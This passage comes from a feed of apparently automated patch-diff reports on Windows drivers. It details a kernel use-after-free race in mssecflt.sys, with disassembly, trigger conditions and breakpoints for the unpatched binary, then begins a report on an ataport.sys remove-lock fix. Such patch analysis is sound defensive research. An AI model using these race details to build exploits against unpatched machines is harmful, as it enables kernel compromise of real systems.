&lt;span class="nt"&gt;000000014002D0C9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Scce&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;65636353h&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D121&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;SecReferenceProcessContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;each&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D12C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pinned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;snapshot&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D166&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;FltReleasePushLockEx_0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;release&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;BEFORE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;callbacks&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D189&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;callback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pinned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D192&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;SecReleaseProcessContext&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;release&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;reference&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D1A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;SecFreePool&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;snapshot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Scce&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;p&gt;For Finding 1 the following conditions must coincide:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The minifilter is loaded and the process-context table has entries (populated as processes are tracked via &lt;code&gt;SecCreateProcessContext&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;An enumeration is in progress: a policy/configuration apply (&lt;code&gt;SecSetDriverConfiguration&lt;/code&gt; → &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt;), a process create/exit notification, or timer maintenance drives a traversal that invokes callbacks on each entry.&lt;/li&gt;
&lt;li&gt;Concurrently, the entry currently being enumerated has its last reference dropped — either by the callback itself or by a concurrent teardown (&lt;code&gt;SecCleanupProcessContexts&lt;/code&gt;, which unlinks entries and releases them) — so the entry is freed or recycled to the process-context lookaside list while enumeration still holds a raw pointer to it.&lt;/li&gt;
&lt;li&gt;The freed/recycled entry (or its stale next pointer) is then used by the callback or the following loop iteration.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Observable effect: a dereference of freed or recycled pool memory in kernel context. Depending on timing and pool state this manifests as a kernel bugcheck (denial of service); a controllable memory-corruption primitive is not demonstrated by the diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;6. Impact Assessment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel-pool use-after-free of a process-context object during shared-lock enumeration. The object is an internal, reference-counted structure managed by &lt;code&gt;SecReferenceProcessContext&lt;/code&gt; / &lt;code&gt;SecReleaseProcessContext&lt;/code&gt; and recycled through the process-context lookaside list at &lt;code&gt;SecProcessTable+0xC0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt; Loss of memory safety in kernel mode during enumeration — a potential denial of service (bugcheck) and, in principle, a local elevation-of-privilege surface if the freed allocation can be reclaimed with attacker-influenced contents. The reclamation and any control-flow or write primitive are not demonstrated by this diff and are not claimed here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why the fix matters:&lt;/strong&gt; By pinning every entry with a reference and moving all callbacks outside the lock, the patched path guarantees that no entry can be freed while a callback is operating on it, closing the window regardless of what the callback does.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger Notes&lt;/h3&gt;
&lt;p&gt;For examination of the &lt;strong&gt;unpatched&lt;/strong&gt; binary:&lt;/p&gt;
&lt;h4&gt;Breakpoints&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp mssecflt_unpatched!SecEnumerateProcessContexts+0x3f   ; 0x14002cf43 FltAcquirePushLockSharedEx
bp mssecflt_unpatched!SecEnumerateProcessContexts+0x68   ; 0x14002cf6c mov rsi,[rsi] (advance)
bp mssecflt_unpatched!SecEnumerateProcessContexts+0x6e   ; 0x14002cf72 callback dispatch
bp mssecflt_unpatched!SecCleanupProcessContexts          ; 0x14002c3a4 entry teardown
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Why these matter:&lt;/em&gt;
- &lt;code&gt;+0x3f&lt;/code&gt; — acquisition of the shared lock; start of the enumeration window.
- &lt;code&gt;+0x68&lt;/code&gt; — the next-pointer read; if &lt;code&gt;rsi&lt;/code&gt; refers to freed/recycled pool the traversal is following a stale node.
- &lt;code&gt;+0x6e&lt;/code&gt; — the CFG-dispatched callback on the entry at &lt;code&gt;rcx = node-0x10&lt;/code&gt;; the entry is not reference-pinned here.
- &lt;code&gt;SecCleanupProcessContexts&lt;/code&gt; — unlinks and releases process-context entries; if it runs concurrently and drops the last reference on the enumerated entry, the pointer held by the enumerator becomes stale.&lt;/p&gt;
&lt;h4&gt;Watch values&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r15&lt;/code&gt; (callback pointer) and &lt;code&gt;r14&lt;/code&gt; (callback context) captured at entry.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt; at &lt;code&gt;0x14002cf58&lt;/code&gt; = bucket array base (&lt;code&gt;[SecProcessTable+0x140]&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt; at &lt;code&gt;0x14002cf65&lt;/code&gt; = current list node; &lt;code&gt;rcx&lt;/code&gt; at &lt;code&gt;0x14002cf72&lt;/code&gt; = entry object (&lt;code&gt;node-0x10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[SecData+0x4f8]&lt;/code&gt; bit 2 = initialization flag gating the traversal.&lt;/li&gt;
&lt;li&gt;Patched only: &lt;code&gt;[SecProcessTable+0x148]&lt;/code&gt; = entry count used to size the snapshot; &lt;code&gt;[SecData+0x510]&lt;/code&gt; bit 0 = path selector (clear = snapshot, set = old path).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Security-relevant fixes:&lt;/strong&gt;
- &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; (unpatched &lt;code&gt;0x14002CF04&lt;/code&gt; → patched &lt;code&gt;0x14002CFC0&lt;/code&gt;, Sim 0.1295): adds the default reference-and-snapshot path (pin each entry, release the shared lock, then invoke callbacks and release references). Old in-lock callback path retained behind the &lt;code&gt;SecData+0x510&lt;/code&gt; bit-0 feature bit.
- &lt;code&gt;SecPerformProcessAssertionsForAllProcesses&lt;/code&gt; (unpatched &lt;code&gt;0x14002DD1C&lt;/code&gt; → patched &lt;code&gt;0x14002DF1C&lt;/code&gt;, Sim 0.8106): adds the same feature-bit check; delegates to &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; (snapshot path) when the bit is clear (default), old in-lock traversal retained when set.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Supporting changes:&lt;/strong&gt;
- &lt;code&gt;SecCleanupProcessContexts&lt;/code&gt; (&lt;code&gt;0x14002C3A4&lt;/code&gt;, Sim 0.9898): decrements the entry count at &lt;code&gt;[SecProcessTable+0x148]&lt;/code&gt; on removal, keeping the count the snapshot path uses for allocation sizing accurate.
- &lt;code&gt;SecCreateProcessContext&lt;/code&gt; (&lt;code&gt;0x14002C550&lt;/code&gt;, Sim 0.9923): increments the entry count at &lt;code&gt;[SecProcessTable+0x148]&lt;/code&gt; on insertion; the insertion feature-flag test is updated (bit &lt;code&gt;2&lt;/code&gt; → bit &lt;code&gt;4&lt;/code&gt;).
- &lt;code&gt;SecInitializeBootConfig&lt;/code&gt; / boot-config population (report-listed as &lt;code&gt;sub_140029EF0&lt;/code&gt;, Sim 0.8862): extends the feature-flag block copied into &lt;code&gt;SecData+0x508&lt;/code&gt; from a single 8-byte value to two 8-byte values (16 bytes, zero-initialized then optionally loaded from the &lt;code&gt;BootFeatureFlags&lt;/code&gt; registry binary value), so the second qword — which holds the &lt;code&gt;SecData+0x510&lt;/code&gt; bit-0 path selector — is now read.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Feature-staging / servicing churn (not security fixes):&lt;/strong&gt;
- &lt;code&gt;sub_14003BC14&lt;/code&gt; (Sim 0.6076): adds a &lt;code&gt;SeGetCachedSigningLevel&lt;/code&gt; fast path gated by a feature bit in &lt;code&gt;xmmword_14001B740&lt;/code&gt;, plus a speculation barrier before the second query. Feature-gated; old path retained.
- &lt;code&gt;sub_14003BA6C&lt;/code&gt; (Sim 0.7844): adds a signing-level check path gated by &lt;code&gt;SecData+0x510&lt;/code&gt; bit 2.
- &lt;code&gt;sub_14002F788&lt;/code&gt; (Sim 0.9677): adds an early-exit path gated by &lt;code&gt;SecData+0x510&lt;/code&gt; bit 4.
- &lt;code&gt;sub_140032D20&lt;/code&gt; (Sim 0.8544): dispatch-table handlers now capture return values.
- &lt;code&gt;sub_14004054C&lt;/code&gt; (Sim 0.9084): widens a feature-flag early-exit test (adds a bit-1 check).
- &lt;code&gt;sub_14003F6CC&lt;/code&gt; (Sim 0.9438): adds a bit-1 feature check alongside the existing bit-0 check.
- &lt;code&gt;sub_14003F9DC&lt;/code&gt; (Sim 0.9498): adds a bit-1 feature check; captures the argument into a register at entry.
- &lt;code&gt;sub_14003EBD8&lt;/code&gt; (Sim 0.8815): adds a feature-gated early-return condition.
- &lt;code&gt;sub_140029EF0&lt;/code&gt; behavioral extension is listed above under supporting changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cosmetic / relocation changes:&lt;/strong&gt;
- &lt;code&gt;sub_140024910&lt;/code&gt;, &lt;code&gt;sub_1400393F8&lt;/code&gt; (version string &lt;code&gt;0x3f&lt;/code&gt; → &lt;code&gt;0x41&lt;/code&gt;), &lt;code&gt;sub_14003C294&lt;/code&gt; (feature-bit reordering), &lt;code&gt;SecMessage&lt;/code&gt; (&lt;code&gt;0x140021CA0&lt;/code&gt;), &lt;code&gt;SecSetDriverConfiguration&lt;/code&gt; (&lt;code&gt;0x14003A814&lt;/code&gt;, call targets updated to the patched enumerator), &lt;code&gt;sub_14000AC40&lt;/code&gt;, &lt;code&gt;sub_14002CEA4&lt;/code&gt;, &lt;code&gt;sub_140039F98&lt;/code&gt; (feature-word store widened to a 128-bit write), &lt;code&gt;SecDetTimerPerformDeferredAssertionsImpl&lt;/code&gt; (&lt;code&gt;0x140042400&lt;/code&gt;, call target updated to the patched &lt;code&gt;SecPerformProcessAssertionsForAllProcesses&lt;/code&gt;), &lt;code&gt;j_sub_14002f788&lt;/code&gt;, and &lt;code&gt;sub_140029CE0&lt;/code&gt; are address shifts, jump-thunk updates, and recompilation differences with no behavioral change.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High for the mechanism. The unpatched callback-under-shared-lock traversal and the patched reference-pin + snapshot + release-then-callback path are both present in the disassembly of &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt;, and the same treatment applies to &lt;code&gt;SecPerformProcessAssertionsForAllProcesses&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direction:&lt;/strong&gt; The default (feature bit clear) path is the safe one; the old vulnerable path runs only when &lt;code&gt;SecData+0x510&lt;/code&gt; bit 0 is set. The feature block is zero-initialized and then optionally overwritten from a registry binary value, so the safe path is the default and the old path is a registry-controlled fallback.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The severity is bounded by demonstrable impact: a kernel-mode use-after-free/race during enumeration. Reclaiming the freed allocation with controlled contents, and any resulting control-flow or write primitive, are not demonstrated by the diff and are not claimed.&lt;/li&gt;
&lt;li&gt;The policy-configuration entry point via &lt;code&gt;\MicrosoftSecFilterControlPort&lt;/code&gt; normally requires the privileged management service; unprivileged reachability of that path is not established. The timer and process-notification paths (Finding 2) are autonomous and driven by process-lifetime activity.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ataport.sys — Use-after-free fix in `IdePortTickHandler`: periodic tick now holds the device remove lock (plus an unrelated ATA error-retry refactor)</title><link href="https://byteray-ai.github.io/drift-corpus/item/ataport_4c92ca01-ataport-report-20260628-170736.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/ataport_4c92ca01-ataport-report-20260628-170736.html</id><summary type="html">&lt;p&gt;KB5082142&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ataport_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ataport_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.6819&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;550&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;328&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;222&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched → patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch contains one real security fix plus one non-security refactor.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security fix (CWE-416, use-after-free) — see Section 11.&lt;/strong&gt; The periodic timer DPC &lt;code&gt;IdePortTickHandler&lt;/code&gt; was rewritten to acquire the per-device &lt;code&gt;IO_REMOVE_LOCK&lt;/code&gt; (at device-extension &lt;code&gt;+0xB0&lt;/code&gt;) before touching the device (timeout-counter update, target reset, channel reset), and to skip the device if that acquisition fails. The &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;IdePortTickHandler&lt;/code&gt; performed the same per-device work with &lt;strong&gt;no&lt;/strong&gt; &lt;code&gt;IoAcquireRemoveLockEx&lt;/code&gt;/&lt;code&gt;IoReleaseRemoveLockEx&lt;/code&gt; anywhere in its body — it relied only on the driver's own &lt;code&gt;RefNextPdoExtensionWithTag&lt;/code&gt;/&lt;code&gt;UnRefPdoExtensionWithTag&lt;/code&gt; tag counter. Device teardown (&lt;code&gt;RemovePdoExtension&lt;/code&gt;) synchronizes with concurrent users &lt;strong&gt;only&lt;/strong&gt; through &lt;code&gt;IoReleaseRemoveLockAndWaitEx&lt;/code&gt; on that same &lt;code&gt;+0xB0&lt;/code&gt; remove lock, not through the tag counter, so a PnP remove concurrent with a tick could free the device extension while the tick handler still used it. The patch closes that window.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Non-security refactor (unchanged conclusion) — Sections 2–10.&lt;/strong&gt; The delta in the ATA request-completion area is a code refactoring, not a security fix. The per-retry state-reset block that clears a set of per-attempt request fields and bumps the retry counter was &lt;strong&gt;already present in the unpatched build&lt;/strong&gt; (inline in three different functions). The patch factors that identical block into a single shared helper, &lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt;, and inlines the separate error-interpretation routine &lt;code&gt;IdepInterpretTransportErrors (sub_1C0004A3C)&lt;/code&gt; into the completion routine &lt;code&gt;IdeProcessCompletedRequests&lt;/code&gt;. The reset runs on the error/retry path in both builds. No field is left stale in one build and cleared in the other, and no attacker-controlled value reaches a size/transfer decision through these fields.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;2. Change Summary&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (no security-relevant behavioral change).
&lt;strong&gt;Vulnerability class:&lt;/strong&gt; None. The change is an extract-helper plus inline-callee refactor of ATA transport-error retry handling.
&lt;strong&gt;Primary changed function:&lt;/strong&gt; &lt;code&gt;IdeProcessCompletedRequests&lt;/code&gt; — unpatched &lt;code&gt;sub_1C000D8D0&lt;/code&gt;, patched &lt;code&gt;sub_1C00036A0&lt;/code&gt;.
&lt;strong&gt;New helper:&lt;/strong&gt; &lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt; (patched only), which contains logic that existed inline in the unpatched build.&lt;/p&gt;
&lt;h3&gt;What actually changed&lt;/h3&gt;
&lt;p&gt;Two mechanical transformations account for the size growth of the patched completion routine (similarity 0.5168):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Extract-helper.&lt;/strong&gt; The unpatched build has an identical per-retry reset block — zero &lt;code&gt;+0x3EB&lt;/code&gt;, &lt;code&gt;+0x3F3&lt;/code&gt;, &lt;code&gt;+0x428&lt;/code&gt;, &lt;code&gt;+0x420&lt;/code&gt;, &lt;code&gt;+0x3EA&lt;/code&gt;, &lt;code&gt;+0x410&lt;/code&gt;; conditionally increment the retry counter at &lt;code&gt;+0x23&lt;/code&gt; (only if it is &lt;code&gt;&amp;lt; 1&lt;/code&gt;); clear &lt;code&gt;+0x28&lt;/code&gt; — copied inline in three functions:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IdepInterpretTransportErrors (sub_1C0004A3C)&lt;/code&gt; at &lt;code&gt;0x1C0004B73&lt;/code&gt;–&lt;code&gt;0x1C0004BA9&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PrepareCrbForPioRetry (sub_1C0005A24)&lt;/code&gt; at &lt;code&gt;0x1C0005B3D&lt;/code&gt;–&lt;code&gt;0x1C0005B76&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessParityError (sub_1C00056D0)&lt;/code&gt; at &lt;code&gt;0x1C000576F&lt;/code&gt;–&lt;code&gt;0x1C00057A8&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The patched build replaces all three inline copies with a &lt;code&gt;call PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt;. The helper body is the same instruction sequence.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Inline-callee.&lt;/strong&gt; The unpatched completion routine &lt;code&gt;IdeProcessCompletedRequests (sub_1C000D8D0)&lt;/code&gt; calls out to the error interpreter &lt;code&gt;IdepInterpretTransportErrors (sub_1C0004A3C)&lt;/code&gt; (which itself calls &lt;code&gt;IdeMapError&lt;/code&gt; and dispatches the transport-error handlers). In the patched build that error-mapping-and-dispatch logic is inlined directly into &lt;code&gt;IdeProcessCompletedRequests (sub_1C00036A0)&lt;/code&gt; as a jump-table switch (&lt;code&gt;IdeMapError&lt;/code&gt; is now called at &lt;code&gt;0x1C0003A1F&lt;/code&gt;, inside the completion routine). This is why the patched completion routine roughly tripled in size.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;The recycle site is identical in both builds&lt;/h3&gt;
&lt;p&gt;The point the earlier draft treated as the "bug location" — the push of the request's SLIST entry onto the controller list — is byte-for-byte equivalent in both builds and clears nothing extra in either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched &lt;code&gt;0x1C000DADB&lt;/code&gt;–&lt;code&gt;0x1C000DAF6&lt;/code&gt;: &lt;code&gt;lea rcx,[r12+1480h]; mov rdx,[r13+408h]; call ExpInterlockedPushEntrySList; and qword [r13+408h],0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched &lt;code&gt;0x1C0003818&lt;/code&gt;–&lt;code&gt;0x1C0003833&lt;/code&gt;: &lt;code&gt;lea rcx,[r12+1480h]; mov rdx,[rsi+408h]; call ExpInterlockedPushEntrySList; mov qword [rsi+408h],0&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Neither build zeros &lt;code&gt;+0x3EA/+0x3EB/+0x3F3/+0x410/+0x420/+0x428/+0x23/+0x28&lt;/code&gt; at this push, and the reset helper is not invoked on this path in either build. The reset belongs to the transport-error retry path, not to the free-list recycle path.&lt;/p&gt;
&lt;h3&gt;The &lt;code&gt;SrbData&lt;/code&gt; fields feed telemetry, not transfer sizing&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;SrbData&lt;/code&gt; dereference and the assembly of &lt;code&gt;*(rdi+0x4F)&amp;lt;&amp;lt;8 | *(rdi+0x50)&lt;/code&gt; in the unpatched completion routine (&lt;code&gt;0x1C000DD18&lt;/code&gt;, &lt;code&gt;0x1C000DD67&lt;/code&gt;) store into a local (&lt;code&gt;var_D0&lt;/code&gt;) that is consumed only as an argument to the WPP software-trace call &lt;code&gt;WPP_SF_DDDDDqDDDDiDdd&lt;/code&gt; at &lt;code&gt;0x1C000DF06&lt;/code&gt;. These values drive an ETW/WPP trace record; they are not used for DMA/transfer sizing or any bounds decision.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Per-retry reset — UNPATCHED (inline in &lt;code&gt;IdepInterpretTransportErrors&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// sub_1C0004A3C, transport-error retry preparation (0x1C0004B48..0x1C0004BAC)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3E8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
